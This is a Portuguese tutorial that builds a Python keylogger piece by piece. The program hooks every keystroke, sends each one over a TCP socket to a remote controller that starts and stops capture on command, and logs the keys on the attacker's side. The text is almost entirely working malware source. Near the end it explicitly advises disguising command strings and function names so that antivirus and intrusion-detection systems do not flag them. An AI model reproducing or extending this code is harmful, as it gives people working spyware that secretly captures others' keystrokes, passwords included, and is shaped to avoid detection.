Para criar um keylogger, instale a biblioteca keyboard primeiramente. Esse é um arquivo básico pra pegar as teclas usadas:
import keyboard
def evento(e):
print(e.name)
keyboard.hook(evento)
keyboard.wait()
Só que ao teclar, ele duplica, já que ao pressionar uma tecla ele dispara um evento, e ao soltar a mesma dispara outro (key down e key up, respectivamente). Pra ver a diferença, deixe o print assim:
print(e.name, e.event_type)
Daí, pelo event_type, podemos filtrar os eventos:
def evento(e):
if e.event_type == keyboard.KEY_DOWN: # Apenas quando a tecla é pressionada
print(e.name)
Daí, já dá pra fazer um keylogger simples assim:
import keyboard
def evento(e):
if e.event_type == keyboard.KEY_DOWN: # Apenas quando a tecla é pressionada
tecla = e.name
with open("teclas.txt", "a") as arqKey:
arqKey.write(f"{tecla}\n")
keyboard.hook(evento)
keyboard.wait()
Mas é claro que podemos e devemos fazer melhoria, como por exemplo, trabalhar com a rede. Vamos supor esse servidor TCP simples:
import socket
sock = socket.socket() # Por padrão cria um socket com IPv4 e TCP
sock.bind(("0.0.0.0", 9090))
sock.listen()
print("Aguardando conexão...")
conn, cliente = sock.accept()
print("Conexão Recebida!")
while True:
print(conn.recv(20).decode()) # Buffer pequeno, porque só pega uma tecla.
E deixe o keylogger assim:
import keyboard
def keylogger():
keyboard.hook(evento)
keyboard.wait()
def evento(e):
if e.event_type == keyboard.KEY_DOWN: # Apenas quando a tecla é pressionada
tecla = e.name
print(tecla)
keylogger()
E depois assim:
import keyboard
import socket
def keylogger():
keyboard.hook(evento)
keyboard.wait()
def evento(e):
global sock
if e.event_type == keyboard.KEY_DOWN: # Apenas quando a tecla é pressionada
tecla = e.name
sock.send(tecla.encode())
sock = socket.socket()
sock.connect(("127.0.0.1", 9090))
keylogger()
Agora, defina essa função no keylogger e deixe as invocações assim:
def tentarConec():
while True:
try:
sk = socket.socket()
sk.connect(("127.0.0.1", 9090))
return sk
except:
print("Não conseguiu conectar! Tentando novamente em 2 segundos...")
time.sleep(2) # Importe time
sock = tentarConec()
keylogger()
Daí, altere o if da função evento, assim:
if e.event_type == keyboard.KEY_DOWN:
try:
tecla = e.name
sock.send(tecla.encode())
except (ConnectionAbortedError, BrokenPipeError, ConnectionResetError):
sock.close()
keyboard.unhook_all() # Pra ele parar de monitorar as teclas
E deixe o final do código assim:
while True:
sock = tentarConec()
keylogger()
Defina essa variável global dentro da função evento, antes de todo o código:
global monitorar
Coloque as declarações antes das funções, dessas variáveis aqui:
monitorar = True
sock = None
Deixe a função keylogger assim:
def keylogger():
global monitorar
monitorar = True
keyboard.hook(evento)
while monitorar:
time.sleep(0.1)
E no except da função evento:
sock.close()
monitorar = False
keyboard.unhook_all() # Pra ele parar de monitorar a tecla
Para adicionar mais recursos nos nossos scripts, precisaremos estruturar os mesmos.
No programa do Servidor TCP, faremos assim:
import socket
import sys
def startSock(port):
sock = socket.socket()
sock.bind(("0.0.0.0", port))
sock.listen()
print("Aguardando conexão...")
conn, cliente = sock.accept()
print(f"Conexão Recebida de {cliente}!")
return conn
def sendData(sock):
while True:
rawData = input("Comando > ")
sock.send(rawData.encode())
def recvData(sock):
while True:
rawData = sock.recv(1024)
if rawData:
print(rawData.decode())
porta = int(sys.argv[1])
sock = startSock(porta)
recvData(sock)
Daí, no lugar das últimas linhas, coloque isso pra usarmos threads:
porta = int(sys.argv[1])
sock = startSock(porta)
recv = threading.Thread(target = recvData, args = (sock,)) # Importe threading
send = threading.Thread(target = sendData, args = (sock,))
recv.start()
send.start()
No keylogger, defina essa função:
def recvData(sock):
while True:
rawData = sock.recv(1024)
if rawData:
comando = rawData.decode()
if comando.lower() == "start keylogger":
keylogger()
E deixe o while True do mesmo assim:
while True:
sock = tentarConec()
recvData(sock)
Dentro da função recvData, deixe o segundo if assim:
if comando.lower() == "start keylogger":
monitorar = True
th = threading.Thread(target = keylogger)
th.start()
elif comando.lower() == "stop keylogger":
monitorar = False
keyboard.unhook_all()
E também defina dentro dessa mesma função monitorar como global.
Rode o keylogger e depois o servidor pra conectar, usando o prompt com o comando python ServidorTCPKey.py 9090, usando os comandos start keylogger e stop keylogger.
Só que isso dará erro de exibição na hora de escrever pra parar o keylogger. Para isso, ao invés de mostrar na tela, vamos salvar tudo num JSON.
Defina essa função no keylogger:
def sendData(key, data, sock):
rawPacket = {key: data}
packet = json.dumps(rawPacket) # Importe json
sock.send(packet.encode())
E dentro do try de evento, faça assim:
tecla = e.name
sendData("tecla", tecla, sock)
Rode o keylogger e o Servidor de novo, veremos que ele recebe um JSON.
No servidor, altere o if de recvData assim:
if rawData:
data = json.loads(rawData.decode()) # Importe json
if "tecla" in data:
with open("teclas.txt", "a") as arqKey:
arqKey.write(f"{data["tecla"]}\n")
Execute o keylogger e o servidor.
Agora, no if mais interno do recvData do keylogger, chame a função sendData assim:
if comando.lower() == "start keylogger":
monitorar = True
sendData("alerta", "Iniciando Monitoramento ao Vivo", sock)
th = threading.Thread(target = keylogger)
th.start()
elif comando.lower() == "stop keylogger":
monitorar = False
sendData("alerta", "Parando Monitoramento ao Vivo", sock)
keyboard.unhook_all()
E no recvData do servidor, altere o if mais interno assim:
if "tecla" in data:
with open("teclas.txt", "a") as arqKey:
arqKey.write(f"{data["tecla"]}\n")
elif "alerta" in data:
msg = data["alerta"]
print(f"[!] {msg} \nComando > ", end = "")
Agora, no servidor, rode ele e dê o comando start keylogger
, ele exibirá a mensagem, a mesma coisa pro stop keylogger
.
E no if mais interno do recvData do keylogger, adicione no final do bloco if elif, esse outro elif aqui:
elif comando.lower() == "exit":
sock.close()
break
E no sendData do servidor, coloque esse código dentro do while, abaixo do sock.send:
if rawData == "exit":
sock.close()
exit()
Pra não dar erro na execução ao colocar exit
, vá no código do servidor, na função recvData, e circunde a declaração do socket em rawData assim, logo no começo do while:
try:
rawData = sock.recv(1024)
except OSError:
exit()
Pra estruturar melhor, deixe o if mais interno do recvData do keylogger assim:
if comando.lower() == "start keylogger":
if monitorar:
sendData("alerta", "Monitoramento já foi Iniciado!", sock)
else:
monitorar = True
sendData("alerta", "Iniciando Monitoramento ao Vivo", sock)
th = threading.Thread(target = keylogger)
th.start()
elif comando.lower() == "stop keylogger":
if not monitorar:
sendData("alerta", "Monitoramento não foi Iniciado!", sock)
else:
monitorar = False
sendData("alerta", "Parando Monitoramento ao Vivo", sock)
keyboard.unhook_all()
elif comando.lower() == "exit":
sock.close()
break
No mesmo arquivo e na mesma função, deixe o início assim, antes de todos os ifs:
def recvData(sock):
global monitorar
monitorar = False
while True:
try:
rawData = sock.recv(1024)
except (ConnectionAbortedError, ConnectionResetError):
sock.close()
break
Daí, na função evento, no mesmo arquivo, apenas retire o sock.close() dentro do except dele.
Só que tem um porém, num keylogger verdadeiro não é ideal colocar no código um comando literal como "start keylogger". No sendData do servidor, podemos colocar assim, dentro do while, antes do sock.send:
rawData = input("Comando > ")
if rawData == "start keylogger":
rawData = "sk1"
elif rawData == "stop keylogger":
rawData = "sk0"
E no recvData do keylogger, faça assim:
if comando.lower() == "sk1":
# O restante do código permanece
elif comando.lower() == "sk0":
# O restante do código permanece
Da mesma forma, podemos mudar o nome da função keylogger, qualquer coisa envolvendo nomes como malware, ransomware, keylogger, criptografar e coisas do tipo, pois essas strings são as primeiras a serem pegas por antivírus e sistemas IDS e IPS. Podemos até fazer um help. Esse ficaria no sendData do servidor, abaixo do stop keylogger:
if rawData == "start keylogger":
rawData = "sk1"
elif rawData == "stop keylogger":
rawData = "sk0"
elif rawData == "help":
print(help) # Defina a variável help no início da função sendData
continue # Reinicia o laço while